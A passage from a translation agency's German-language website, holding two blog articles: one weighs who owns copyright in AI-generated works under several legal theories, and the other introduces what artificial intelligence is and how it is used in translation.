lokalen Märkte abzustimmen. Kontaktieren Sie uns noch heute und vereinbaren Sie einen Beratungstermin mit einem unserer Muttersprachler! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen ÜBERSETZUNG VON WEBSITES Die Übersetzung von Websites ist einfacher den je! Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Website den Bedürfnissen und einheimischen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. Mehr erfahren LOKALISIERUNG VON E-LEARNING-INHALTEN UND -DIENSTLEISTUNGEN Weltweit entscheiden sich immer mehr Menschen dafür, sich neue Fähigkeiten und Kenntnisse online anzueignen. Wir empfehlen Ihnen daher, nicht mit der Lokalisierung Ihrer Lerninhalte oder Online-Dienstleistung in zumindest einigen der gängigsten Sprachen der Welt oder Ihrer Region zu zögern. Mehr erfahren GOOGLE ADS UND SEO-ÜBERSETZUNG Wenn Sie Ihre Website in mehreren Sprachen zur Verfügung stellen, werden Sie deutlich wettbewerbsfähiger. Unsere Spezialisten lokalisieren Ihre Website nach den neuesten SEO-Grundsätzen, damit sie in der organischen Suche möglichst weit oben erscheint, und passen die Schlüsselwörter für die Google Ads-Werbung an, damit Ihre potenziellen Kunden Sie leichter finden können. Mehr erfahren Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Erfahren Sie, wer wirklich Eigentümer von KI-Systemen ist und welche Auswirkungen dies für Unternehmen und Einzelpersonen hat. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/de/gehort-die-ki-ihnen-oder-gibt-es-vielleicht-keinen-besitzer/ - Kategorijas: Raksti - Translation Priorities: Optional GEHÖRT DIE KI IHNEN ODER GIBT ES VIELLEICHT KEINEN BESITZER? EINFÜHRUNG Mit dem Aufkommen von KI-generierten Werken in allen Bereichen, die wir traditionell als Kunst bezeichnen würden, ergeben sich viele neue Herausforderungen für Unternehmen und Fachleute, die täglich mit geistigem Eigentum zu tun haben. Grafisches Design, fotorealistische und stilisierte Bilder, textbasierte Werke, sowohl faktisch als auch im Bereich der Fiktion, und sogar Gedichte können über spezialisierte oder allgemeine Anwendungen, die der Öffentlichkeit online zur Verfügung stehen, erstellt werden. Während alle, auch wir bei Skrivanek Baltic, von der Aussicht auf die unendlichen Möglichkeiten dieser neuen Technologie begeistert sind, ist das Gesetz, wie üblich, was das betrifft nicht ganz auf dem neuesten Stand. Dies hat schwerwiegende Folgen, insbesondere für Unternehmen oder Freiberufler, die KI-generierte Inhalte für ihre berufliche Tätigkeit nutzen möchten, sowie für normale Nutzer, die daran interessiert sind, die von ihnen erstellten Inhalte zu teilen. Oder erzeugen? Oder die KI auffordern, etwas zu schaffen oder zu erzeugen? Worum geht es also? Der Benutzer gibt der KI eine Aufforderung, was mehr oder weniger zu generieren ist, und die KI generiert dieses „Ding“. Der Nutzer nimmt es dann und macht damit, was er will, richtig? Nun, so einfach ist das nicht. Nichts ist so, wie es scheint, wenn das Gesetz ins Spiel kommt. Traditionelle Kunst - Bücher, Gemälde, Musik -, aber auch modernere Ausdrucksformen wie Fotografien oder Computerprogramme sind urheberrechtlich geschützt. Das Grundprinzip des Urheberrechts (zumindest das Eigentums- oder materielle Urheberrecht, das Urheberpersönlichkeitsrecht ist ein völlig anderes Thema, mit dem wir uns in einem separaten Artikel befassen könnten) beinhaltet ein bestimmtes ausschließliches „Recht“, Kunstwerke zu nutzen oder zu veräußern und aus dieser Nutzung oder Veräußerung Nutzen zu ziehen. Dieses Recht liegt, abgesehen von einigen speziellen Ausnahmen, die im Folgenden erörtert werden, beim Urheber eines bestimmten Werkes. Diese Rechte können jedoch vom Urheber ganz oder teilweise an andere weitergegeben werden - was im Juristenjargon gemeinhin als Lizenzierung bezeichnet wird - oder sie können auch vollständig auf jemanden übertragen werden, wobei der Urheber seine Rechte „verliert“, indem er sie an jemanden abgibt (in der Regel gegen eine Gebühr oder im Rahmen eines Arbeitsverhältnisses). Unter Berücksichtigung der obigen Ausführungen scheint das Problem trügerisch einfach zu sein. Wir müssen nur noch herausfinden, wer der „Schaffer“ eines von der KI erzeugten Kunstwerks ist, und das war es dann. Und somit wäre es dann gegessen. Auf diese Weise können wir feststellen, bei wem das Urheberrecht zum Zeitpunkt der Schaffung des Werks liegt und wir können eventuelle Übertragungen nachverfolgen, um festzustellen, ob die Nutzung des Werks rechtmäßig oder unrechtmäßig ist und ob von den Beteiligten Ansprüche geltend gemacht werden können. DAS „KUNSTWERK“ UND DAS URHEBERRECHT In der Praxis erweist sich diese Frage jedoch als wesentlich komplexer. In den Vorschriften zum geistigen Eigentum und in der Rechtslehre ist allgemein anerkannt, dass ein bestimmtes Werk nur dann als urheberrechtsfähig gilt, wenn es einige Voraussetzungen erfüllt. Die Rechtsprechung ist natürlich von Land zu Land etwas anders, aber die Grundprinzipien ähneln sich. „Gegenstand des Urheberrechts ist jedes einzelne schöpferische Werk, das in irgendeiner Form verkörpert ist, unabhängig von seinem Wert, seiner Bezeichnung oder seinem Ausdrucksmittel (Werk). “ - wie es insbesondere im polnischen Gesetz über das Urheberrecht und verwandte Schutzrechte vom 4. Februar 1994 definiert ist. Die für unsere Zwecke wichtigsten Begriffe in dieser Definition sind „individuell“ und „kreativ“. Kreativ bedeutet in diesem Zusammenhang mehr oder weniger dasselbe wie „originell“ oder „neu“, was an sich keine allzu große Herausforderung darstellt. Die Definition für „Individuell“ ist jedoch etwas schwieriger. Es wird allgemein so interpretiert, dass es sich um etwas handelt, das untrennbar mit dem individuellen Charakter des Schöpfers verbunden ist. Sie wird traditionell stark mit der Menschlichkeit des Autors, seiner Persönlichkeit und seinen individuellen Eigenschaften in Verbindung gebracht, die dazu führen, dass sich das von dieser bestimmten Person geschaffene Werk von den Werken anderer Autoren unterscheidet - selbst wenn die Themen oder allgemeinen Konzepte der beiden Werke gleich sind. Aufgrund dieses Erfordernisses der Individualität wird auch allgemein anerkannt, dass nur natürliche Personen „Urheber“ sein können und nur sie die ursprünglichen Inhaber der Urheberrechte an den von ihnen geschaffenen Werken sein können - allerdings mit dem wichtigen Vorbehalt, dass diese Rechte „unmittelbar“ auf einen Dritten übertragen werden können (z. B. auf einen Arbeitgeber, wenn ein Arbeitnehmer während und im Zusammenhang mit seiner Beschäftigung etwas schafft). Auf diese Weise gelangen juristische Personen wie z. B. Unternehmen in der Regel überhaupt erst in den Besitz von Urheberrechten an ihren geistigen Eigentumsrechten. Um die Definition abzurunden, gibt es noch eine weitere wichtige Information, die berücksichtigt werden muss - nämlich, was nicht als urheberrechtsfähig gilt. Um noch einmal die polnische Gesetzgebung zu zitieren: „Der Schutz gilt nur für das Ausdrucksmittel; der Schutz erstreckt sich nicht auf Entdeckungen, Ideen, Verfahren, Methoden und Betriebsgrundsätze oder mathematische Konzepte. “ Eine ähnliche Version dieser Regel findet sich auch in anderen Rechtsordnungen (z. B. Abschnitt 102(b) des Copyright Act in den USA). VERSCHIEDENE MÖGLICHKEITEN Nachdem wir die Theorie erörtert haben, wollen wir nun sehen, was das alles in der Praxis und im Kontext von KI-generierten Werken bedeutet. Die Angelegenheit ist noch nicht geklärt, da es noch keine Vorschriften gibt, die sich speziell mit dem rechtlichen Status dieser Kreationen und dem Urheberrecht daran befassen würden. Es gibt jedoch einige starke Meinungen darüber, wie es auf der Grundlage der derzeit geltenden Gesetze „funktionieren sollte“. Erstens: die benutzerfreundlichste Auslegung Dabei sollte die KI-Anwendung wie jedes andere Werkzeug behandelt werden, das man zur Schaffung eines Kunstwerks verwenden würde. Die KI ist in diesem Zusammenhang im Grunde nicht mehr als der Pinsel eines Malers oder die Feder eines Schriftstellers. Der Nutzer, der die KI auffordert, etwas zu generieren, würde dann als Urheber der Idee oder des Konzepts, die dem Werk zugrunde liegen, das Urheberrecht an dem so geschaffenen Werk besitzen. Dieser Ansatz ist natürlich für die Nutzer von großem Vorteil. Wenn jemand eine Anwendung wie Midjourney, Smashinglogo oder ChatGPT verwendet, um Inhalte zu erstellen, kann er die Rechte daran vollständig „besitzen“, sie zu Geld machen und Ansprüche gegen jede andere Person erheben, die sie ohne ihre Zustimmung verwendet. Technologieunternehmen, die diese Anwendungen herstellen, oder Inhaber von Websites, die sie zur Verfügung stellen, wären hier in ihren Geschäftsmodellen eingeschränkt, insbesondere wenn man bedenkt, dass einige Rechtsordnungen (darunter auch die polnische, aber das ist eine weit weniger allgemeingültige Regel als das, was zuvor erörtert wurde) die Formen einschränken, in denen eine vollständige Übertragung oder eine ausschließliche Lizenz zur Nutzung von Urheberrechten erteilt werden kann - in Polen beispielsweise ist die Schriftform (mit handschriftlichen Unterschriften oder beglaubigter elektronischer Signatur) erforderlich. Anderslautende Geschäftsbedingungen wären ungültig, wenn sie nur durch ein einfaches Bestätigungskästchen auf der Website zustande kämen. Ein wichtiges Problem steht jedoch im Raum. Wie bereits angedeutet, handelt es sich bei der Aufforderung, die der Nutzer der Anwendung gibt, in jeder Hinsicht nur um eine allgemeine Idee oder ein Konzept. Mit anderen Worten: Es handelt sich um etwas, das in den meisten Rechtsordnungen ausdrücklich von der Urheberrechtsfähigkeit ausgeschlossen ist. Da nichts anderes als der individuelle Charakter des Nutzers Teil der endgültigen Schöpfung ist, da die „Ausdrucksform“ vollständig von der KI übernommen wird, ist es sehr schwierig, dieser Auslegung zuzustimmen, wenn man die Regeln für die Urheberrechtsfähigkeit verstanden hat. Die Aufforderung selbst kann urheberrechtsfähig sein, wenn sie individuell und kreativ ist und somit dem Nutzer gehört. Aber was ist mit dem KI-generierten Endprodukt? Es sieht so aus, als gäbe es mehr ernsthafte Argumente dagegen als dafür. Zweitens - die Theorie des Eigentums oder der Auftragsarbeit. Dieser Ansatz hat zwei Hauptaspekte, die in der Praxis letztlich zu demselben Ergebnis führen. Die Theorie besagt im Grunde, dass das Urheberrecht an einem von einer KI-Anwendung generierten Inhalt in gewisser Weise beim Besitzer oder Ersteller (je nach Fall) der Anwendung liegen würde. Diese Unterscheidung ist im rechtlichen Sinne wichtig (ob das Recht auf der Seite des Eigentümers oder Entwicklers steht), aber in der Praxis ist sie eher weniger von Bedeutung. Normalerweise programmieren Angestellte von Technologieunternehmen oder Freiberufler „den Code“, der für die Funktion der KI-Anwendung erforderlich ist, und übertragen im Rahmen ihres Arbeitsverhältnisses das Recht an diesem Code oder anderen Elementen der Anwendung auf ihren Auftraggeber, je nach Rechtsprechung entweder ausdrücklich auf der Grundlage der vertraglichen Bestimmungen oder im Rahmen der Work-for-Hire-Doktrin. In der Praxis würden die Rechte an den von der KI erzeugten Inhalten, wenn die Rechte daran auf der Seite der eigentlichen Entwickler (Codeautoren) entstehen würden - sozusagen als Erweiterung ihrer kreativen Arbeit an der Anwendung selbst - aus denselben Gründen auch weiter auf ihren Arbeitgeber übertragen werden. Unabhängig davon, ob diese Urheberrechte wie oben beschrieben übertragen werden oder nicht, würden sie nicht beim Nutzer der Anwendung liegen. Ohne eine verbindliche Vereinbarung zwischen dem Rechtsverwalter und dem Nutzer, der die Eingabeaufforderung gegeben hat, wäre es dem Nutzer daher nicht gestattet, die Werke zu nutzen, außer es handelt sich um besondere Fälle, in denen eine angemessene Nutzung im Einklang mit den Gesetzen zum Schutz des geistigen Eigentums in dem jeweiligen Land nachgewiesen werden kann. Die Weitergabe, Vermarktung oder auch Nutzung für anderweitige Geschäfte wäre sonst sehr eingeschränkt. Andererseits wären die Möglichkeiten für die Anbieter solcher KI-Dienste, Nutzungsbeschränkungen oder verschiedene Paywalls einzuführen und durchzusetzen, praktisch unbegrenzt. Wie bei der ersten Auslegung gibt es jedoch ein großes Problem. Dies führt zu der bereits erwähnten Frage der „Individualität“ zurück. Es ist fast unbestreitbar, dass die Schöpfungen der KI die individuelle Handschrift des Schöpfers des Algorithmus in sich tragen. Erstens hat der Ersteller der Anwendung keinen Einfluss auf die Erstellung eines bestimmten Inhalts. Es gibt keine bewusste Aufwand auf ihrer Seite und keine tatsächliche Beteiligung an der Schaffung. Der Entwickler hat noch nicht einmal eine vollständige Vorstellung davon, welche Art von Werken von der KI, an der er gerade arbeitet, geschaffen werden. Die Generierung von Inhalten basiert auf der Sammlung, Komprimierung und Analyse von Informationen und/ oder Teilen anderer zuvor veröffentlichter Werke durch die KI und dem, was sie aus diesem Prozess lernen kann. Es gibt kaum eine individuelle oder persönliche Note, die der Schöpfer des Algorithmus auf diesen Werken hinterlassen hat, so dass es höchst fragwürdig ist, ihnen Urheberrechte zuzuweisen. Drittens - die Theorie des öffentlichen Bereichs. Für diese Auslegung gibt es eigentlich drei verschiedene Gesichtspunkte oder Argumente. Zunächst einmal wird argumentiert, dass der Erstellungsprozess dieser Werke in hohem Maße auf dem Sammeln und Vermischen anderer Werke und früher veröffentlichter Daten beruht, die entweder bereits Teil des öffentlichen Bereichs sind (dies ist auch Teil des Prozesses, mit dem wir vor Jahren Skrivanek NMT erstellt haben, indem wir zweisprachige und einsprachige Datensätze verwendet haben, die zur öffentlichen Nutzung zur Verfügung stehen) oder anderen Autoren zuzuschreiben sind (die in den meisten Fällen weder gewillt noch sich dieses Prozesses bewusst sind), und zwar als eine Art abgeleitetes Werk von diesen. Da es praktisch nicht möglich ist, die genauen Quellen ausfindig zu machen, aus denen die Daten oder Teile des erstellten Werks stammen, spricht einiges dafür, die Urheberrechte einfach niemandem zuzuschreiben. Als Ableitung einer Mischung aus gemeinfreien Werken und Fragmenten von Werken, die von zahllosen anderen Autoren urheberrechtlich geschützt sind, würden KI-generierte Inhalte das Problem völlig umgehen und sofort nach ihrer Erstellung gemeinfrei werden, so dass keine Urheberrechte damit verbunden wären. Ein weiteres Argument für diese Theorie beruht auf einer konträren Argumentation zu den beiden vorherigen. Wenn der Nutzer, der die Anwendung aufruft, nur eine Idee oder ein Konzept liefert, was an sich nicht urheberrechtsfähig ist, und der KI-Algorithmus so autonom ist, dass die Individualität seines Entwicklers, die sich in den Kreationen der Anwendung niederschlägt, nicht ausreicht, um ihn als Urheber zu identifizieren... Dann wäre die nackte Wahrheit, dass der Urheberrechtsschutz für KI-generierte Inhalte einfach nicht angemessen ist. Die KI „erschafft“, denn offensichtlich findet eine Schöpfung statt, während keiner der tatsächlich an dem Prozess beteiligten Personen eine Urheberschaft zugeschrieben werden könnte und für einen Urheberrechtsschutz in Frage käme. Die KI hingegen kann nicht ein eigenständiger Urheber oder Inhaber von Urheberrechten sein, denn sie ist weder rechtsfähig noch ist sie ein Mensch in dem Sinne, wie es die Auslegung der Doktrinen des geistigen Eigentums in Bezug auf die Individualität erfordert, die notwendig ist, damit etwas überhaupt als urheberrechtsfähiges Kunstwerk angesehen werden kann. Wenn die bisherigen Argumente nicht genug waren, haben wir noch eins: Die Prozesse des maschinellen Lernens, die der Generierung von KI-Inhalten zugrunde liegen, führen zu einer erheblichen Ähnlichkeit und Wiederholbarkeit der Arbeiten, die aus einer bestimmten Version der KI-Anwendung hervorgehen. Dies wiederum lässt Zweifel daran aufkommen, ob solche Werke die erforderliche Kreativität aufweisen, um als urheberrechtsfähig zu gelten, wie am Anfang erwähnt wurde. Natürlich unterscheidet sich diese Debatte nicht von den Diskussionen zwischen Juristen über die Urheberrechtsfähigkeit von weniger phantasievollen Werken wie technischen Dokumentationen oder funktionalen Designs, die dem Designer nur sehr wenig kreative Freiheit lassen und bereits seit Jahrzehnten geführt werden. Es ist jedoch ein zwingender Punkt, der bei der Frage der Urheberrechte an KI-generierten Werken und deren potenziellen Inhabern berücksichtigt werden muss. Diese Auslegung hat einen bedeutenden Vorteil, da sie die juristische Frage, wer Anspruch auf diese Werke und die damit verbundenen Früchte haben sollte, sauber „löst“, auch wenn die Antwort, die sie gibt, ein enttäuschendes Niemand ist. Sie ist jedoch nicht fehlerfrei. Ein großes Problem, das sich daraus logischerweise ergibt, ist, dass sobald wir behaupten, dass die KI (ein Wesen ohne Rechtsfähigkeit und weder theoretisch noch praktisch in der Lage, Verantwortung zu tragen) der Schöpfer der generierten Werke ist - wer übernimmt dann die Verantwortung für die darin enthaltenen rechtswidrigen Inhalte und welche Regressmöglichkeiten gibt es für die dadurch geschädigten Parteien? Solche Fragen sind eher nebensächlich, müssen aber wahrscheinlich in kürzester Zeit beantwortet werden. MARKTBEISPIELE Dass es noch keine Vorschriften gibt, hindert Unternehmen aus der Technologiebranche nicht daran, KI-basierte Lösungen und Dienstleistungen online anzubieten. Es gibt einige Angebote und im Zusammenhang mit diesem Artikel ist interessant, wie sie die Eigentumsrechte an den mit den von ihnen bereitgestellten Werkzeugen geschaffenen Werken sehen. Jedem, der solche KI-Generatoren verwendet, ist dringend zu empfehlen, die Geschäftsbedingungen ihrer Anbieter zu studieren. Es ist ratsam, dies bei jedem Online-Dienstleister zu tun, aber in diesem Fall könnte es auch interessant sein. Die beiden Beispiele, auf die ich hinweisen möchte, sind die beliebten Anwendungen ChatGPT und Midjourney. Die Bedingungen der ersten sehen vor, dass der Input (die Eingabeaufforderungen des Benutzers) und alle damit verbundenen Rechte dem Benutzer gehören (hier gibt es keine Überraschungen) und der Output (das, was die KI erzeugt) zusammen mit den Rechten, dem Titel und den Interessen daran automatisch an den Benutzer übertragen wird - zusammen mit jeglicher Verantwortung für diesen Inhalt. In der Praxis folgt das Ergebnis der zuerst erörterten Auslegung nur dem Namen nach, da im Wortlaut des Dokuments die Sicherheit einer Abtretung enthalten ist. Auf der anderen Seite machen die Geschäftsbedingungen von Midjourney sehr deutlich, dass der Dienstanbieter der wirtschaftliche Eigentümer aller von seinen Nutzern erstellten Assets ist, und je nach Art der vom Nutzer erworbenen Mitgliedschaft werden ihm unterschiedliche Rechte eingeräumt - kostenlose Nutzer erhalten nur eine begrenzte Lizenz für die unkommerzielle Nutzung der Inhalte, reguläre zahlende Mitglieder werden als Eigentümer der Assets bezeichnet (vermutlich findet eine Abtretung statt, auch wenn diese Formulierung nicht verwendet wird, aber sie ergibt sich logisch aus der Tatsache, dass dieses Recht anderen Arten von Mitgliedern vorenthalten wird), und Einzelpersonen, die im Namen von Unternehmen handeln, die groß genug sind, müssen eine erweiterte „Pro“-Mitgliedschaft erwerben, um Rechte an den erstellten Assets zu erhalten. FAZIT Wenn man mich persönlich bitten würde, eine Regelung zu diesem Thema zu finden, würde ich wahrscheinlich der zuletzt vorgestellten Theorie zustimmen - KI-generierte Inhalte sind überhaupt nicht urheberrechtsfähig. Die oben dargelegten Argumente sprechen für mein rechtliches Empfinden. Es könnte als reduktiv angesehen werden, aber es ist sehr praktisch und löst das Problem des Urheberrechtsschutzes für die bald wahnsinnig großen Mengen automatisch generierter homogener Inhalte, bei denen sowohl die „Kreativität“ als auch die „Individualität“ fraglich sind. Auch das Problem der moralischen oder persönlichen Urheberrechte, die in den meisten Rechtsordnungen unveräußerlich sind, wird mit diesem Ansatz gelöst (sie werden nicht geschaffen). Diese Auslegung schließt auch nicht aus, dass Unternehmen ihre tägliche Arbeit mit Hilfe von KI-Anwendungen erledigen können. Die Erbringung einer bestimmten Dienstleistung gegen eine Gebühr ist weiterhin möglich, unabhängig davon, ob das Produkt dieser Dienstleistungen urheberrechtsfähig ist oder nicht. Und was denken Sie darüber, wer die Urheberrechte an KI-generierten Inhalten besitzt? Die Übersetzung der Geschäftswelt ist seit über 30 Jahren unser Schwerpunkt. Mit freundlichen Grüßen, Vasilijs@Skrivanek Baltic *Diese Informationen dienen selbstverständlich nicht als Rechtsberatung. Die Rechtsberatung erfordert eine eingehende Untersuchung des Sachverhalts in einem bestimmten Fall oder einer bestimmten Frage. Wenn Sie Fragen zu einem bestimmten Fall haben, wenden Sie sich bitte - wie immer - an Ihren Anwalt. Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Was ist die künstliche Intelligenz und was kann sie leisten? Was sind die Mythen über KI und ihre Zukunftsaussichten? Lesen Sie! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/kas-ir-maksligais-intelekts/ - Kategorijas: Raksti - Translation Priorities: Optional WAS IST KÜNSTLICHE INTELLIGENZ? Wir begegnen künstlicher Intelligenz (KI) jeden Angefangen bei unseren Gewohnheiten im Internet bis hin zur Verwendung intelligenter Geräte, die die Belüftung im Büro und die Heizung zu Hause regeln, unseren Blutdruck bei körperlichen Aktivitäten messen und die Qualität unseres Schlafes analysieren. In letzter Zeit ist das Thema der künstlichen Intelligenz besonders aktuell geworden, denn im letzten Jahr haben Modelle der künstlichen Intelligenz, die Inhalte generieren, die zuvor nur von Menschen erstellt wurden, an Popularität gewonnen, wie z. B. KI-generierte Bilder, Projektanträge, Aufsätze, Gedichte, Reden und sogar Gelegenheiten, sich zu unterhalten. Es handelt sich um die so genannte starke KI, die darauf abzielt, eine Technologie zu schaffen, die wie ein Mensch denken und das Bewusstsein eines intelligenten Wesens haben kann. Aber ist dies überhaupt möglich und wissen wir, was menschliche Intelligenz ist und wo ihre Grenzen liegen? Wir haben am Anfang dieses Blogeintrags ChatGPT gefragt, was künstliche Intelligenz ist. Hier ist die Antwort, die wir erhalten haben: „Künstliche Intelligenz ist ein Teilgebiet der Informatik, das sich mit der Entwicklung von Computerprogrammen und Computersystemen befasst, die in der Lage sind, Aufgaben auszuführen, die normalerweise menschliche intellektuelle Fähigkeiten erfordern würden. Künstliche Intelligenz befasst sich mit der Entwicklung von Computerprogrammen, die denken, lernen, analysieren, Schlussfolgerungen ziehen und Entscheidungen treffen können, die dem Menschen ähnlich sind. Künstliche Intelligenz umfasst mehrere Teilbereiche: Maschinelles Lernen: Teilbereich der KI, der sich auf die Entwicklung und Modellierung von Algorithmen konzentriert und es einem Computer ermöglicht, aus Daten zu lernen und Vorhersagen oder Klassifizierungen vorzunehmen; Deep Learning: Teilbereich der KI des maschinellen Lernens, der neuronale Netze und tiefe Modelle verwendet, um komplexe Aufgaben wie Bild- oder Spracherkennung durchzuführen; Verarbeitung natürlicher Sprache: Algorithmen und Programme, die es Computern ermöglichen, die menschliche Sprache zu verstehen und zu analysieren sowie Übersetzungen vorzunehmen und Dialogmuster zu erstellen; Robotik: KI wird eingesetzt, um Roboter und Geräte zu entwickeln, die ihre Umgebung verstehen und darauf reagieren, bestimmte Aufgaben ausführen und mit Menschen kommunizieren können. Künstliche Intelligenz kann man sehr breit gefächert anwenden, unter anderem in den Bereichen Medizin, Finanzen, Verkehr, Kunst und vielen anderen Branchen. Die KI entwickelt sich immer weiter und kann unser tägliches Leben beeinflussen, indem sie neue Möglichkeiten und Lösungen für komplexe Aufgaben bietet. Zusammenfassend lässt sich sagen, dass künstliche Intelligenz ein Teilgebiet der Informatik ist, das sich mit der Automatisierung intelligenten Verhaltens befasst, indem es Computer dazu bringt, Dinge zu tun, die Menschen besser können. Einfacher ausgedrückt: Wenn ein Computerprogramm in der Lage ist, eine Lösung zu finden, indem es die menschlichen Gehirnaktivitäten und Denkprozesse simuliert, kann es als künstliche Intelligenz bezeichnet werden. Lesen Sie mehr darüber, was KI ist und wie sie unser tägliches Leben beeinflusst. KÜNSTLICHE INTELLIGENZ UND WAS SIE ALLES KANN Die Europäische Kommission unterscheidet zwischen zwei Arten von künstlicher Intelligenz: Software (virtuelle Assistenten, Bildanalysesoftware, Suchmaschinen, Sprach- und Gesichts-, Text- und Zeichenerkennungssysteme) und in Hardware von Robotern, Autos, Drohnen und Internetanwendungen eingebettete KI. Technologien der künstlichen Intelligenz gibt es seit mehr als 50 Jahren, aber in den letzten Jahren haben sie sich besonders schnell entwickelt. Möglich wurde dies mit Hilfe leistungsfähigerer Server, die in der Lage sind, große Datenmengen in kurzer Zeit zu verarbeiten. Es gibt viele Bereiche, in denen wir künstliche Intelligenz recht häufig einsetzen. Hier sind nur einige Beispiele: Internetbrowser und intelligente Assistenten Eines der auffälligsten Beispiele sind unsere Aktivitäten im Internet. Jeden Tag, wenn wir unseren Webbrowser öffnen und nach etwas suchen, was uns interessiert, versuchen Suchmaschinen, sich an die riesige Menge von Eingaben anderer Nutzer zu erinnern, sie zu erraten und auszuwählen, um Suchergebnisse anzubieten, die speziell auf uns zugeschnitten sind. In ähnlicher Weise sind Smartphones mit ihren vielen Apps und Funktionen zu unseren täglichen Assistenten geworden und helfen uns, unseren Alltag, unsere Arbeit und unser Geschäfte zu organisieren. Onlineshops und die richtige Werbung zur richtigen Zeit Künstliche Intelligenz wird häufig im elektronischen Handel und im digitalen Marketing eingesetzt. Sie haben sicher schon bemerkt, dass kurz nachdem Sie den Onlineshop einer bestimmten Marke besucht oder nach einem bestimmten Produkt gesucht haben, das Sie interessiert, ähnliche Angebote wie von Zauberhand bei den Vorschlägen von Facebook oder Instagram aufgetaucht sind. Die fortschrittlichsten Geschäfte, die KI-Dienste einsetzen, sind sogar noch weiter gegangen: Nachdem sie bemerkt haben, dass Sie z. B. ein neues Smartphone gekauft haben, bieten sie beim nächsten Mal Zubehör, Smartwatches und andere Waren an, die speziell für dieses Smartphone entwickelt wurden, statt eines anderen Telefons derselben Art. Die künstliche Intelligenz gibt Menschen personalisierte Empfehlungen, die auf früheren Suchanfragen, Einkäufen oder anderem Online-Verhalten basieren. Die Anwendung von KI im Handel ist weitreichend und sehr wichtig für Produktoptimierung, Buchhaltung, Logistik usw. Im Bereich der Dienstleistungen Wenn wir den Kundendienst anrufen, beginnt das Gespräch immer häufiger mit einem Bot, der Standardfragen beantwortet, aber der Spezialist meldet sich erst, wenn das Gespräch in ein bestimmtes Thema abzweigt, für das der Bot keine Antworten mehr findet. Chatbots werden ständig trainiert und immer intelligenter und können viele einfache Gespräche ohne menschliches Zutun erfolgreich führen. Finanzdienstleistungen Banken nutzen künstliche Intelligenz, um Geldtransfers zu verfolgen und die Rechtmäßigkeit von Transaktionen zu überprüfen. Computergestützte Lösungen werden bei der Berechnung verdächtiger Zahlungen schon seit langem eingesetzt. So suchen beispielsweise die künstliche Intelligenz und die maschinellen Deep-Learning Dienste von MasterCard nach Parametern, die für betrügerische Transaktionen charakteristisch sind, und legen sie Spezialisten vor, die diese Fälle weiter analysieren. Algorithmen des maschinellen Lernens spielen auch an den Börsen eine Rolle, indem sie Kursveränderungen analysieren und künftige Kursschwankungen vorhersagen. Bei der Verarbeitung riesiger Datenmengen sucht die künstliche Intelligenz nach ähnlichen Bedingungen in früheren Aufzeichnungen und wertet die darauf folgenden Züge aus. Künstliche Intelligenz in der Übersetzungsbranche In letzter Zeit wurden viele Technologien für die Übersetzungsbranche entwickelt, darunter auch die automatische maschinelle Übersetzung, was bedeutet, dass die Übersetzungen immer schneller und genauer werden. KI-gestützte Übersetzungsprogramme wie Google Übersetzer, DeepL, Microsoft Translator usw. haben die Übersetzungsbranche grundlegend verändert, da sie die einfache Übersetzung großer Textmengen von einer Sprache in eine andere ermöglichen. Allerdings sind automatisierte Übersetzungsprogramme nicht immer in der Lage, spezifische Nuancen und kulturelle Unterschiede sowie neue alltägliche Gegebenheiten zu bewältigen, z. B. wurde unser Leben erst in jüngster Vergangenheit auf einem Schlag durch die Corona Pandemie verändert. Damit automatische maschinelle Übersetzungsprogramme etwas über Corona übersetzen können, müssen sie darüber „aufgeklärt“ werden, große Datenmengen sammeln, testen und Sprachmodelle trainieren. Daher werden in der Übersetzungsbranche hochqualifizierte Fachleute, die oft auf eine bestimmte Art von Übersetzung (juristisch, medizinisch usw. ) spezialisiert sind, immer eine wichtige Rolle spielen. Wir empfehlen immer, Texte und Dokumente, die zur Veröffentlichung oder zum Druck bestimmt sind, sowie spezielle, vertrauliche und komplexe Branchentexte professionellen Übersetzern und Redakteuren anzuvertrauen. Wann sollte man sich für Übersetzungen durch künstliche Intelligenz entscheiden? Unser Büro bietet automatisierte Übersetzungsdienste mit dem Skrivanek NMT-Tool an, das nicht nur von Skrivanek-Sprachspezialisten, sondern auch von Akademikern und Experten aus verschiedenen Bereichen entwickelt wurde. Wir bieten verschiedene Arten der maschinellen Übersetzung an: automatisierte maschinelle Übersetzungen ohne Nachbearbeitung und automatisierte maschinelle Übersetzungen mit einfacher oder vollständiger Nachbearbeitung, wenn die Übersetzung einer menschlichen Übersetzung gleichwertig ist. Wir empfehlen die maschinelle Übersetzung ohne Nachbearbeitung, wenn Sie Zeit und Übersetzungskosten sparen wollen und das fertige Produkt nur von einer kleinen Gruppe von Personen für den eigenen Bedarf oder den internen Bedarf des Unternehmens verwendet werden soll. Wenn die Übersetzung für die Kommunikation mit Kunden, Geschäftspartnern oder Kollegen benötigt wird, empfiehlt es sich, eine maschinelle Übersetzung mit einfacher oder vollständiger Nachbearbeitung durch einen Muttersprachler der Zielsprache oder eine Überprüfung durch einen Experten auf dem entsprechenden Gebiet zu verwenden, da der maschinelle Übersetzer so genannte „Halluzinationen“ erzeugt, d. h. falsche 